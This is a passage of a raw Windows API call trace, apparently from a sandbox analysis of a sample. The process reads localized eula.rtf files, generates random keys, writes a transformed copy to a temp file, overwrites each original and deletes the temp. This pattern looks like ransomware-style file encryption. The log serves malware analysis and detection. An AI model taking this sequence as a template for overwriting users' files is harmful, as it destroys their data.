	[0236.202] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.202] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.202] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.203] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.203] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.203] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde)) returned 1
	[0236.203] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.203] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0236.204] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.204] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a7ddf1f, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf76)) returned 1
	[0236.204] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.204] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.204] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0236.204] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0236.204] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x174
	[0236.205] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a9bf4 | out: lpMode=0xc0001a9bf4) returned 0
	[0236.205] GetFileType (hFile=0x174) returned 0x1
	[0236.205] GetFileType (hFile=0x174) returned 0x1
	[0236.205] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0xc0001a9c44 | out: lpFileInformation=0xc0001a9c44) returned 1
	[0236.206] GetFileInformationByHandleEx (in: hFile=0x174, FileInformationClass=0x9, lpFileInformation=0xc0001a9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a9c28) returned 1
	[0236.206] ReadFile (in: hFile=0x174, lpBuffer=0xc000135000, nNumberOfBytesToRead=0xf74, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000135000*, lpNumberOfBytesRead=0xc0001a9b04*=0xd74, lpOverlapped=0x0) returned 1
	[0236.208] ReadFile (in: hFile=0x174, lpBuffer=0xc000135d74, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000135d74*, lpNumberOfBytesRead=0xc0001a9b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.208] CloseHandle (hObject=0x174) returned 1
	[0236.209] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000093420 | out: pbBuffer=0xc000093420) returned 1
	[0236.209] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000095260 | out: pbBuffer=0xc000095260) returned 1
	[0236.209] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082701 | out: pbBuffer=0xc000082701) returned 1
	[0236.209] VirtualAlloc (lpAddress=0xc00015c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015c000
	[0236.210] VirtualAlloc (lpAddress=0xc00015e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015e000
	[0236.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0236.356] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a9c04 | out: lpMode=0xc0001a9c04) returned 0
	[0236.357] GetFileType (hFile=0x174) returned 0x1
	[0236.357] WriteFile (in: hFile=0x174, lpBuffer=0xc00015e000*, nNumberOfBytesToWrite=0xe74, lpNumberOfBytesWritten=0xc0001a9bec, lpOverlapped=0x0 | out: lpBuffer=0xc00015e000*, lpNumberOfBytesWritten=0xc0001a9bec*=0xe74, lpOverlapped=0x0) returned 1
	[0236.358] CloseHandle (hObject=0x174) returned 1
	[0236.395] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.397] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0236.397] GetFileType (hFile=0x198) returned 0x1
	[0236.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0236.398] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0236.398] GetFileType (hFile=0x19c) returned 0x1
	[0236.398] VirtualAlloc (lpAddress=0xc00016a000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016a000
	[0236.400] ReadFile (in: hFile=0x19c, lpBuffer=0xc00016a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00016a000*, lpNumberOfBytesRead=0xc0001a9bd4*=0xe74, lpOverlapped=0x0) returned 1
	[0236.400] WriteFile (in: hFile=0x198, lpBuffer=0xc00016a000*, nNumberOfBytesToWrite=0xe74, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc00016a000*, lpNumberOfBytesWritten=0xc0001a9b74*=0xe74, lpOverlapped=0x0) returned 1
	[0236.434] ReadFile (in: hFile=0x19c, lpBuffer=0xc00016a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00016a000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.434] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89")) returned 0
	[0236.435] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89")) returned 0
	[0236.435] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89")) returned 0x20
	[0236.435] CloseHandle (hObject=0x19c) returned 1
	[0236.436] CloseHandle (hObject=0x198) returned 1
	[0236.437] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ad4cea42a5f638167dfd92742ee7b89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ad4cea42a5f638167dfd92742ee7b89")) returned 1
	[0236.473] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0236.474] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0236.474] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0236.474] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9bf4 | out: lpMode=0xc0001a9bf4) returned 0
	[0236.474] GetFileType (hFile=0x198) returned 0x1
	[0236.474] GetFileType (hFile=0x198) returned 0x1
	[0236.474] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc0001a9c44 | out: lpFileInformation=0xc0001a9c44) returned 1
	[0236.474] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc0001a9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a9c28) returned 1
	[0236.474] ReadFile (in: hFile=0x198, lpBuffer=0xc0000d6a00, nNumberOfBytesToRead=0x139e, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000d6a00*, lpNumberOfBytesRead=0xc0001a9b04*=0x119e, lpOverlapped=0x0) returned 1
	[0236.477] ReadFile (in: hFile=0x198, lpBuffer=0xc0000d7b9e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0000d7b9e*, lpNumberOfBytesRead=0xc0001a9b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.477] CloseHandle (hObject=0x198) returned 1
	[0236.477] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000093560 | out: pbBuffer=0xc000093560) returned 1
	[0236.477] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000095340 | out: pbBuffer=0xc000095340) returned 1
	[0236.478] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082901 | out: pbBuffer=0xc000082901) returned 1
	[0236.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.638] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9c04 | out: lpMode=0xc0001a9c04) returned 0
	[0236.638] GetFileType (hFile=0x198) returned 0x1
	[0236.638] WriteFile (in: hFile=0x198, lpBuffer=0xc00012d300*, nNumberOfBytesToWrite=0x129e, lpNumberOfBytesWritten=0xc0001a9bec, lpOverlapped=0x0 | out: lpBuffer=0xc00012d300*, lpNumberOfBytesWritten=0xc0001a9bec*=0x129e, lpOverlapped=0x0) returned 1
	[0236.644] CloseHandle (hObject=0x198) returned 1
	[0236.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.709] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0236.709] GetFileType (hFile=0x198) returned 0x1
	[0236.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0236.710] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0236.710] GetFileType (hFile=0x19c) returned 0x1
	[0236.710] VirtualAlloc (lpAddress=0xc000310000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000310000
	[0236.711] ReadFile (in: hFile=0x19c, lpBuffer=0xc000310000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000310000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x129e, lpOverlapped=0x0) returned 1
	[0236.712] WriteFile (in: hFile=0x198, lpBuffer=0xc000310000*, nNumberOfBytesToWrite=0x129e, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000310000*, lpNumberOfBytesWritten=0xc0001a9b74*=0x129e, lpOverlapped=0x0) returned 1
	[0236.714] ReadFile (in: hFile=0x19c, lpBuffer=0xc000310000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000310000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.714] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1")) returned 0
	[0236.715] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1")) returned 0
	[0236.715] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1")) returned 0x20
	[0236.715] CloseHandle (hObject=0x19c) returned 1
	[0236.715] CloseHandle (hObject=0x198) returned 1
	[0236.715] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9ff0e09db206b2de79b58cb8a3c5ded1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9ff0e09db206b2de79b58cb8a3c5ded1")) returned 1
	[0236.845] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0236.863] SetEvent (hEvent=0x190) returned 1
	[0236.863] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0236.863] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0236.863] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0236.864] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9bf4 | out: lpMode=0xc0001a9bf4) returned 0
	[0236.864] GetFileType (hFile=0x198) returned 0x1
	[0236.864] GetFileType (hFile=0x198) returned 0x1
	[0236.864] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc0001a9c44 | out: lpFileInformation=0xc0001a9c44) returned 1
	[0236.864] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc0001a9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a9c28) returned 1
	[0236.864] ReadFile (in: hFile=0x198, lpBuffer=0xc00012e600, nNumberOfBytesToRead=0x10da, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc00012e600*, lpNumberOfBytesRead=0xc0001a9b04*=0xeda, lpOverlapped=0x0) returned 1
	[0236.867] ReadFile (in: hFile=0x198, lpBuffer=0xc00012f4da, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc00012f4da*, lpNumberOfBytesRead=0xc0001a9b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.867] CloseHandle (hObject=0x198) returned 1
	[0236.868] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000093920 | out: pbBuffer=0xc000093920) returned 1
	[0236.868] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000955e0 | out: pbBuffer=0xc0000955e0) returned 1
	[0236.868] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082f01 | out: pbBuffer=0xc000082f01) returned 1
	[0236.868] VirtualAlloc (lpAddress=0xc00017e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017e000
	[0236.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.991] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9c04 | out: lpMode=0xc0001a9c04) returned 0
	[0236.991] GetFileType (hFile=0x198) returned 0x1
	[0236.991] WriteFile (in: hFile=0x198, lpBuffer=0xc00015f000*, nNumberOfBytesToWrite=0xfda, lpNumberOfBytesWritten=0xc0001a9bec, lpOverlapped=0x0 | out: lpBuffer=0xc00015f000*, lpNumberOfBytesWritten=0xc0001a9bec*=0xfda, lpOverlapped=0x0) returned 1
	[0236.993] CloseHandle (hObject=0x198) returned 1
	[0237.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.014] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0237.014] GetFileType (hFile=0x198) returned 0x1
	[0237.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.014] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0237.014] GetFileType (hFile=0x19c) returned 0x1
	[0237.014] VirtualAlloc (lpAddress=0xc000264000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000264000
	[0237.016] VirtualAlloc (lpAddress=0x0, dwSize=0x15f8f8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebaf0000
	[0237.017] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebc50000
	[0237.017] ReadFile (in: hFile=0x19c, lpBuffer=0xc000264000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000264000*, lpNumberOfBytesRead=0xc0001a9bd4*=0xfda, lpOverlapped=0x0) returned 1
	[0237.018] WriteFile (in: hFile=0x198, lpBuffer=0xc000264000*, nNumberOfBytesToWrite=0xfda, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000264000*, lpNumberOfBytesWritten=0xc0001a9b74*=0xfda, lpOverlapped=0x0) returned 1
	[0237.021] ReadFile (in: hFile=0x19c, lpBuffer=0xc000264000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000264000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.021] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb")) returned 0
	[0237.021] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb")) returned 0
	[0237.022] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb")) returned 0x20
	[0237.022] CloseHandle (hObject=0x19c) returned 1
	[0237.022] CloseHandle (hObject=0x198) returned 1
	[0237.023] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb")) returned 1
	[0237.087] SetEvent (hEvent=0x190) returned 1
	[0237.087] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0237.087] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0237.087] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.088] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9bf4 | out: lpMode=0xc0001a9bf4) returned 0
	[0237.088] GetFileType (hFile=0x198) returned 0x1
	[0237.088] GetFileType (hFile=0x198) returned 0x1
	[0237.088] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc0001a9c44 | out: lpFileInformation=0xc0001a9c44) returned 1
	[0237.088] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc0001a9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a9c28) returned 1
	[0237.088] VirtualAlloc (lpAddress=0xc000390000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000390000
	[0237.090] ReadFile (in: hFile=0x198, lpBuffer=0xc000390000, nNumberOfBytesToRead=0xd7b8, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000390000*, lpNumberOfBytesRead=0xc0001a9b04*=0xd5b8, lpOverlapped=0x0) returned 1
